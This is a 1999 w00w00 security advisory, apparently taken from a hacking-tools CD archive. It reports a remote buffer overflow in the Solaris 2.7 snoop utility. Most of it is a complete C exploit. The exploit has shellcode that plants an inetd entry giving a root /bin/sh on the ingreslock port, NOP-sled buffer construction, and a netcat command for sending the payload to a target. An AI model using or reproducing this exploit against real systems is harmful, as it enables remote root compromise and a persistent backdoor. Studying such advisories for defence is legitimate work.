home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / advisories / snoop.txt < prev    next >
Encoding:
Text File  |  2000-01-07  |  2.6 KB  |  90 lines

  1. Subject: [w00giving '99 #8] Solaris 2.7's snoop
  2.  
  3. w00w00 Security Development (WSD)
  4. http://www.w00w00.org/advisories.html
  5.  
  6. Discovered by: K2 (ktwo@ktwo.ca)
  7.  
  8. Snoop is a program similar to tcpdump that allows one to watch
  9. network traffic.  There is a buffer overflow in the snoop program that
  10. occurs when a lengthy domain name is logged, because it will overwrite a
  11. buffer in print_domain_name.  This vulnerability allows remote access to
  12. the system with the privileges of the user who ran snoop (usually root,
  13. because it requires read privileges on special devices).
  14.  
  15. ---------------------------------------------------------------------------
  16. Exploit (by K2):
  17.  
  18. /*
  19.    by: K2,
  20.    version .2
  21.    this is a funny Solaris.
  22.    remote Solaris 2.7 x86 snoop exploit
  23.    rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
  24.  
  25.    run with ( ./snp ) | nc -u target_host_network 53
  26.    requires target host to be running "snoop"
  27.  
  28.    verified with patch 108483-01
  29.  
  30.    thx str/horizon for shellcodes.  Hi plageuz
  31.    Hi mom.
  32. */
  33. #include <unistd.h>
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <string.h>
  37.  
  38.  
  39. char shell[] =
  40. "\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
  41. "\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
  42. "\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
  43. "\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
  44. "\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
  45. "\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
  46. "\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
  47. "\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock"
  48. "stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
  49. "/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";
  50.  
  51.  
  52. #define SIZE 2048
  53. #define NOPDEF 349
  54. #define DEFOFF 0
  55.  
  56. const char x86_nop=0x90;
  57. long nop=NOPDEF,esp=0x804646c;
  58. long offset=DEFOFF;
  59. char buffer[SIZE];
  60.  
  61. int main (int argc, char *argv[]) {
  62.     int i;
  63.  
  64.     if (argc > 1) offset += strtol(argv[1], NULL, 0);
  65.     if (argc > 2) nop += strtoul(argv[2], NULL, 0);
  66.  
  67.     memset(buffer, x86_nop, SIZE);
  68.     memcpy(buffer+nop, shell, strlen(shell));
  69.     for (i = nop+strlen(shell); i < SIZE-4; i += 4) {
  70.         *((int *) &buffer[i]) = esp+offset;
  71.     }
  72.  
  73.     fprintf(stderr,"0x%x\n",esp+offset);
  74.     printf("%s", buffer);
  75.  
  76.     return 0;
  77. }
  78.  
  79. ---------------------------------------------------------------------------
  80. Patch:
  81.  
  82. Sun Microsystems released a patch to an ISS snoop advisory, but our
  83. exploit still works on the latest version.  Just run snoop with the 
  84. arguments "ip and not port 53".
  85.  
  86. ---------------------------------------------------------------------------
  87.  
  88. http://www.roses-labs.com, http://www.napster.com,
  89. http://www.technotronic.com, http://www.w00w00.org
  90.